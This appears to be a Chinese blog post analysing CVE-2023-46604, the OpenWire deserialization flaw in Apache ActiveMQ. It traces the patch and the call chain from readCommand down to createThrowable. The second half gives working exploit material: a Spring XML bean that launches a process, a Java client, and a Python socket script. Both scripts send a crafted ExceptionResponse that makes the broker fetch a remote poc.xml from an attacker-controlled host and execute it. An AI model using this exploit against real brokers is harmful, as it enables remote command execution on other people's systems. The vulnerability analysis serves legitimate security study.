Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞分析 CVE-2023-46604

news/2024/4/28 21:17:04/文章来源:https://blog.csdn.net/shelter1234567/article/details/137041683

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

分析补丁内容

查看官方补丁内容

Merge pull request #1098 from cshannon/openwire-throwable-fix · apache/activemq@80089f9 · GitHub

package org.apache.activemq.openwire;public class OpenWireUtil {/*** Verify that the provided class extends {@link Throwable} and throw an* {@link IllegalArgumentException} if it does not.** @param clazz*/public static void validateIsThrowable(Class<?> clazz) {if (!Throwable.class.isAssignableFrom(clazz)) {throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");}}
}

这个方法用于验证给定的类是否是 Throwable 的子类,如果不是,则抛出 IllegalArgumentException 异常。

调用的地方

public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {@@ -229,8 +230,11 @@ protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInputprivate Throwable createThrowable(String className, String message) {try {Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
+            OpenWireUtil.validateIsThrowable(clazz);Constructor constructor = clazz.getConstructor(new Class[] {String.class});return (Throwable)constructor.newInstance(new Object[] {message});
+        } catch (IllegalArgumentException e) {
+            return e;} catch (Throwable e) {return new Throwable(className + ": " + message);}

在 Apache ActiveMQ 中,BaseDataStreamMarshaller 是用于序列化和反序列化消息数据流的基础类之一。它是 ActiveMQ 的序列化框架中的一个重要组成部分,用于将消息对象转换为字节流以便在网络上传输,并在接收端将字节流还原为消息对象。

在 Apache ActiveMQ 中,Throwable 类通常用于表示可能出现的错误或异常情况。当代码执行过程中出现异常时,可以创建 Throwable 类的实例来表示这个异常,并通过抛出或捕获异常来进行相应的处理。

Class.forName(String className, boolean initialize, ClassLoader loader):这个重载形式允许指定是否初始化类以及类加载器。

  • className:要加载的类的全限定名。

  • initialize:一个布尔值,表示是否初始化类。如果为 true,则会执行类的静态代码块,如果为 false,则不会执行静态代码块。一般情况下,建议设置为 true

  • loader:一个类加载器对象,用于指定加载类的类加载器。如果不指定,则使用调用者的类加载器。

看样子!之前的版本没有检查clazz 属于什么类便实例化了该对象。任意类加载实例化 还有构造参数。

分析调用链

右键find useages - createThrowable

跟进其中一个looseUnmarsalThrowable进行分析

protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn)throws IOException {if (dataIn.readBoolean()) {String clazz = looseUnmarshalString(dataIn);String message = looseUnmarshalString(dataIn);Throwable o = createThrowable(clazz, message);if (wireFormat.isStackTraceEnabled()) {if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) {StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()];for (int i = 0; i < ss.length; i++) {try {ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR.newInstance(new Object[] {looseUnmarshalString(dataIn),looseUnmarshalString(dataIn),looseUnmarshalString(dataIn),Integer.valueOf(dataIn.readInt())});} catch (IOException e) {throw e;} catch (Throwable e) {}}o.setStackTrace(ss);} else {short size = dataIn.readShort();for (int i = 0; i < size; i++) {looseUnmarshalString(dataIn);looseUnmarshalString(dataIn);looseUnmarshalString(dataIn);dataIn.readInt();}}o.initCause(looseUnmarsalThrowable(wireFormat, dataIn));
​}return o;} else {return null;}
}

在 Apache ActiveMQ 中,looseUnmarshalThrowable 是一个内部方法,用于处理消息的解组(unmarshal)过程中可能出现的异常情况。该方法通常用于在消息传递或序列化过程中尝试恢复消息的内容,以防止丢失信息。

  1. String clazz = looseUnmarshalString(dataIn); 这行代码通过调用 looseUnmarshalString 方法从 dataIn 数据流中读取异常的类名,并将其存储在名为 clazz 的字符串变量中。looseUnmarshalString 方法的作用是从数据流中解析出一个字符串值,然后返回该字符串值。

  2. String message = looseUnmarshalString(dataIn); 这行代码类似于第一行,它也通过调用 looseUnmarshalString 方法从 dataIn 数据流中读取异常的消息,并将其存储在名为 message 的字符串变量中。

继续分析looseUnmarsalThrowable的调用

右键find useages - looseUnmarsalThrowable

跟进其中一个ExceptionResponseMarshaller进行分析

/*** Un-marshal an object instance from the data input stream** @param o the object to un-marshal* @param dataIn the data input stream to build the object from* @throws IOException*/
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {super.looseUnmarshal(wireFormat, o, dataIn);
​ExceptionResponse info = (ExceptionResponse)o;info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
​
}

继续向上分析looseUnmarshal 的调用

右键find useages - looseUnmarshal 这里有点多慢慢分析...

最终找到一个doUnmarshal的方法

public Object doUnmarshal(DataInput dis) throws IOException {byte dataType = dis.readByte();if (dataType != NULL_TYPE) {DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];if (dsm == null) {throw new IOException("Unknown data type: " + dataType);}Object data = dsm.createObject();if (this.tightEncodingEnabled) {BooleanStream bs = new BooleanStream();bs.unmarshal(dis);dsm.tightUnmarshal(this, data, dis, bs);} else {dsm.looseUnmarshal(this, data, dis);}return data;} else {return null;}
}

DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF]; 这行代码的作用是从名为 dataMarshallers 的数组中获取与数据类型对应的 DataStreamMarshaller 对象,并将其赋值给变量 dsm。这里使用了位运算符 & 来确保 dataType 的值在合法范围内(0 到 255),因为数组索引通常要求是非负整数,通过 dataType & 0xFF 可以将 dataType 转换为 0 到 255 之间的值,以便在数组中进行查找。

这里我们需要做如下考虑

1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31

2,this.tightEncodingEnabled 成立

继续分析doUnmarshal的调用

右键find useages - doUnmarshal

来到unmarshal 方法

@Override
public Object unmarshal(DataInput dis) throws IOException {DataInput dataIn = dis;if (!sizePrefixDisabled) {int size = dis.readInt();if (maxFrameSizeEnabled && size > maxFrameSize) {throw IOExceptionSupport.createFrameSizeException(size, maxFrameSize);}// int size = dis.readInt();// byte[] data = new byte[size];// dis.readFully(data);// bytesIn.restart(data);// dataIn = bytesIn;}return doUnmarshal(dataIn);
}

继续向上

右键find useages - unmarshal

来到readCommand()

protected Object readCommand() throws IOException {return wireFormat.unmarshal(dataIn);
}

readCommand()<—doRun()<—run()

protected void doRun() throws IOException {try {Object command = readCommand();doConsume(command);} catch (SocketTimeoutException e) {} catch (InterruptedIOException e) {}
}
@Override
public void run() {LOG.trace("TCP consumer thread for " + this + " starting");this.runnerThread=Thread.currentThread();try {while (!isStopped() && !isStopping()) {doRun();}} catch (IOException e) {stoppedLatch.get().countDown();onException(e);} catch (Throwable e){stoppedLatch.get().countDown();IOException ioe=new IOException("Unexpected error occurred: " + e);ioe.initCause(e);onException(ioe);}finally {stoppedLatch.get().countDown();}
}

至此调用链分析就结束了

要想成功加载恶意类,控制dataIn中的数据即可,

如何制造我们想要的序列化数据呢?

既然有readCommand,那么就会有writeCommand

参考下同类下的oneway方法

@Override
public void oneway(Object command) throws IOException {checkStarted();wireFormat.marshal(command, dataOut);dataOut.flush();
}

有兴趣的话可以分析producer.send(message);是如何到达oneway方法的

在 Apache ActiveMQ 中,当调用 producer.send(message) 发送消息时,消息的发送过程经过了几个步骤,最终会触发 oneway 方法。

  1. producer.send(message):这是消息生产者发送消息的方法调用。在 ActiveMQ 中,消息生产者通过调用这个方法将消息发送到目标队列或主题。

  2. 在 ActiveMQ 的内部实现中,send 方法会触发消息发送逻辑,该逻辑可能涉及到消息的封装、路由、传输等过程,具体取决于 ActiveMQ 的配置和使用方式。

  3. 最终,消息将会被封装成一个命令对象,这个命令对象可能是一个 ProducerInfo 或者其他与消息发送相关的命令对象。

  4. 接着,封装好的命令对象会被传递给底层的传输层,这个传输层可能是通过 TCP、HTTP 或其他协议进行通信。

  5. 在传输层中,消息会经过序列化(将消息对象转换为字节流)和网络传输的过程。

  6. 最终,消息到达了消息代理(broker),并被处理。在消息代理中,可能会调用 oneway 方法来处理接收到的命令对象,并执行相应的操作,比如存储消息、转发消息等。

因此,整个过程是从消息生产者的 send 方法开始,经过消息封装、传输、消息代理处理,最终到达了 oneway 方法。这个过程涉及了消息传输和处理的多个环节,在 ActiveMQ 内部都有相应的逻辑来处理消息的发送和接收。

我们可以直接获取oneway方法,并且传入exceptionResponse

((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);

什么对象可以被利用呢,这里给一个参考

org.springframework.context.support.ClassPathXmlApplicationContext

ClassPathXmlApplicationContext 可以创建bean 可以造成命令执行,如下给出示例

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>touch</value><value>/tmp/activeMQ-RCE-success</value></list></constructor-arg></bean>
</beans>

ClassPathXmlApplicationContext支持网络远程加载,类似这样加载\http://xxxxx.xml 加载到容器里。

构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写

package org.springframework.context.support; 
public class ClassPathXmlApplicationContext extends Throwable{ private String message; public ClassPathXmlApplicationContext(String message) { this.message = message; } 
​@Override public String getMessage() { return message; } 
}

之后用ExceptionResponse封装这个类

public class ExceptionResponse extends Response {
​public static final byte DATA_STRUCTURE_TYPE = CommandTypes.EXCEPTION_RESPONSE;
​Throwable exception;
​public ExceptionResponse(Throwable e) {setException(e);}
​....
}

有如下生成恶意序列化的代码demo

import org.apache.activemq.ActiveMQConnectionFactory;  
import org.apache.activemq.command.ExceptionResponse;  
import org.apache.activemq.transport.AbstractInactivityMonitor;  
import org.springframework.context.support.ClassPathXmlApplicationContext;  
​
import javax.jms.\*;  
import java.io.\*;  
import java.lang.reflect.Method;  
​
public class MQ\_POC {  private static final String *ACTIVEMQ\_URL* \= "tcp://172.20.10.7:61616";  //定义发送消息的队列名称  private static final String *QUEUE\_NAME* \= "tempQueue";  public static void main(String\[\] args) throws Exception {  //创建连接工厂  ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(*ACTIVEMQ\_URL*);  //创建连接  Connection connection = activeMQConnectionFactory.createConnection();  //打开连接  connection.start();  Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");  ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);  
​((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);  connection.close();  }  
}

或者使用其他形式生成 序列化数据

import io
import socket
import sys
​
​
def main(ip, port, xml):classname = "org.springframework.context.support.ClassPathXmlApplicationContext"socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_obj.connect((ip, port))
​with socket_obj:out = socket_obj.makefile('wb')# out = io.BytesIO()  # 创建一个内存中的二进制流out.write(int(32).to_bytes(4, 'big'))out.write(bytes([31]))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(classname).to_bytes(2, 'big'))out.write(classname.encode('utf-8'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(xml).to_bytes(2, 'big'))out.write(xml.encode('utf-8'))# print(list(out.getvalue()))out.flush()out.close()
​
​
if __name__ == "__main__":if len(sys.argv) != 4:print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 ""http://192.168.0.101:8888/poc.xml")exit(-1)main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
参考链接

vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhub · GitHubPre-Built Vulnerable Environments Based on Docker-Compose - vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhubicon-default.png?t=N7T8https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/README.zh-cn.md

奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)icon-default.png?t=N7T8https://forum.butian.net/share/2566

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1027870.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

多源统一视频融合可视指挥调度平台VMS/smarteye系统概述

系统功能 1. 集成了视频监控典型的常用功能&#xff0c;包括录像&#xff08;本地录像、云端录像&#xff08;录像计划、下载计划-无线导出&#xff09;、远程检索回放&#xff09;、实时预览&#xff08;PTZ云台操控、轮播、多屏操控等&#xff09;、地图-轨迹回放、语音对讲…

Node爬虫:原理简介

在数字化时代&#xff0c;网络爬虫作为一种自动化收集和分析网络数据的技术&#xff0c;得到了广泛的应用。Node.js&#xff0c;以其异步I/O模型和事件驱动的特性&#xff0c;成为实现高效爬虫的理想选择。然而&#xff0c;爬虫在收集数据时&#xff0c;往往面临着诸如反爬虫机…

葵花卫星影像应用场景及数据获取

一、卫星参数 葵花卫星是由中国航天科技集团公司研制的一颗光学遥感卫星&#xff0c;代号CAS-03。该卫星于2016年11月9日成功发射&#xff0c;位于地球同步轨道&#xff0c;轨道高度约为35786公里&#xff0c;倾角为0。卫星设计寿命为5年&#xff0c;搭载了高分辨率光学相机和多…

API安全-WAAP全站防护

在当今数字时代&#xff0c;移动应用的数量呈爆炸性增长&#xff0c;涵盖金融、电子商务、社区、医疗、房地产、工业等各行各业。在给人类带来便利的同时&#xff0c;也给黑客带来了可乘之机&#xff0c;移动黑产也越来越强大&#xff0c;他们的重点是从传统的PC网站转移到移动…

Python中模块

基本概念 **模块 module&#xff1a;**一般情况下&#xff0c;是一个以.py为后缀的文件 ①Python内置的模块&#xff08;标准库&#xff09;&#xff1b; ②第三方模块&#xff1b; ③自定义模块。 包 package&#xff1a; 当一个文件夹下有 init .py时&#xff0c;意为该文…

【MySQL】数据库--表操作

目录 一、创建表 二、查看表 三、修改表 1. 添加字段--add 2.修改表名--rename to 3.修改列名--change 4.修改字段的数据类型--modify 5.删除字段&#xff08;列&#xff09;--drop 四、删除表 一、创建表 create [temporary]table[if not exists]table_name [([colu…

mac 系统如何生成秘钥

1.打开终端&#xff0c;输入 cd ~/.ssh 进入.ssh目录&#xff0c;输入 ls 检查是否已经存在SSH密钥。如果看到类似 id_rsa.pub 的文件&#xff0c;说明已经有一对公钥和私钥&#xff0c;不用新建&#xff0c;直接查看就可以&#xff0c;如果没有需要生成新的密钥。 2.在终端输…

安卓CountDownTimer的使用

目录 一、简介1.1 CountDownTimer简介1.2 常用API 二、CountDownTimer的用法2.1 主线程中使用2.2 工作线程中使用 三、使用注意3.1 空指针3.2 时间不是太准的问题3.3 内存泄漏问题 一、简介 CountDownTimer是Android中的一个类&#xff0c;用于实现倒计时功能。通过CountDownT…

基于Hive的天气情况大数据分析系统(通过hive进行大数据分析将分析的数据通过sqoop导入到mysql,通过Django基于mysql的数据做可视化)

基于Hive的天气情况大数据分析系统&#xff08;通过hive进行大数据分析将分析的数据通过sqoop导入到mysql&#xff0c;通过Django基于mysql的数据做可视化&#xff09; Hive介绍&#xff1a; Hive是建立在Hadoop之上的数据仓库基础架构&#xff0c;它提供了类似于SQL的语言&…

机器学习-生存分析:基于QHScrnomo模型的乳腺癌患者风险评估与个性化预测

一、引言 乳腺癌作为女性常见的恶性肿瘤之一&#xff0c;对女性健康构成威胁。随着医疗技术的不断进步&#xff0c;个性化医疗逐渐成为乳腺癌治疗的重要方向。通过深入研究乳腺癌患者的风险评估和个性化预测&#xff0c;可以帮助医生更准确地制定治疗方案&#xff0c;提高治疗效…

windows下QT如何集成OpenCV

说明 我在windows下使用QT Creator12创建的CMake项目&#xff0c;需要OpenCV的一些功能。由于安装的时候我选择的QT组件都是MInGW的&#xff0c;所以无法使用VS studio版本的dll库。 为什么vs的版本不能用 我安装QT选择的是MinGW版本&#xff0c;本地编译QT工程只能选择MinG…

零基础10 天入门 Web3之第1天

10 天入门 Web3 Web3 是互联网的下一代&#xff0c;它将使人们拥有自己的数据并控制自己的在线体验。Web3 基于区块链技术&#xff0c;该技术为安全、透明和可信的交易提供支持。我准备做一个 10 天的学习计划&#xff0c;可帮助大家入门 Web3&#xff1a; 想要一起探讨学习的…

C#全新一代医院手术麻醉系统围术期全流程源码

目录 一、麻醉学科的起源 二、麻醉前访视与评估记录单 患者基本信息 临床诊断 患者重要器官功能及疾病情况 病人体格情况分级 手术麻醉风险评估 拟施麻醉方法及辅助措施 其他需要说明的情况 访视麻醉医师签名 访视时间 与麻醉相关的检查结果 三、手术麻醉信息系统…

Redis 特性,为什么要用Redis,Redis到底是多线程还是单线程

一、Redis介绍 Redis&#xff08;Remote Dictionary Server )&#xff0c;即远程字典服务&#xff0c;是一个开源的&#xff0c;使用C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&#xff0c;并提供多种语言的API。 二、特性(为什么要用Redis&#x…

地方废物回收机构管理的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)

本项目包含可运行源码数据库LW&#xff0c;文末可获取本项目的所有资料。 推荐阅读100套最新项目持续更新中..... 2024年计算机毕业论文&#xff08;设计&#xff09;学生选题参考合集推荐收藏&#xff08;包含Springboot、jsp、ssmvue等技术项目合集&#xff09; 目录 1. …

Linux的学习之路:3、基础指令(2)

一、echo指令 这个指令在上篇文章我也用了但是忘了说了&#xff0c;这个指令的大概用法就是把后面跟的文本等输出在显示器上&#xff0c;如下代码所示打印的“Hello Linux” [rootVM-24-9-centos ~]# echo "Hello Linux" Hello Linux二、输出重定向与输入重定向 着…

vue前端工程化

前言 本文介绍的是有关于vue方面的前端工程化实践&#xff0c;主要通过实践操作让开发人员更好的理解整个前端工程化的流程。 本文通过开发准备阶段、开发阶段和开发完成三个阶段开介绍vue前端工程化的整体过程。 准备阶段 准备阶段我将其分为&#xff1a;框架选择、规范制…

基于单片机HX711电子秤称重控制设计

**单片机设计介绍&#xff0c;基于单片机HX711电子秤称重控制设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机HX711的电子秤称重控制设计是一个融合了单片机技术、称重传感器技术和显示技术的综合性项目。其设计目…

C 语言贪吃蛇源码解析

贪吃蛇是一款经典的电子游戏&#xff0c;玩家控制一条不断成长的蛇&#xff0c;需要避免撞到自己的身体或者游戏边界&#xff0c;同时吃掉出现在屏幕上的食物以增长身体长度。 下面是一个简单的贪吃蛇游戏的C语言实现&#xff0c;使用了标准输入输出库conio.h和时间库windows.h…

GTC 2024 火线评论:DPU 重构文件存储访问

编者按&#xff1a;英伟达2024 GTC 大会上周在美国加州召开&#xff0c;星辰天合 CTO 王豪迈在大会现场参与了 GPU 与存储相关的最新技术讨论&#xff0c;继上一篇《GTC 2024 火线评论&#xff1a;GPU 的高效存储利用》之后&#xff0c;这是他发回的第二篇评论文章。 上一篇文章…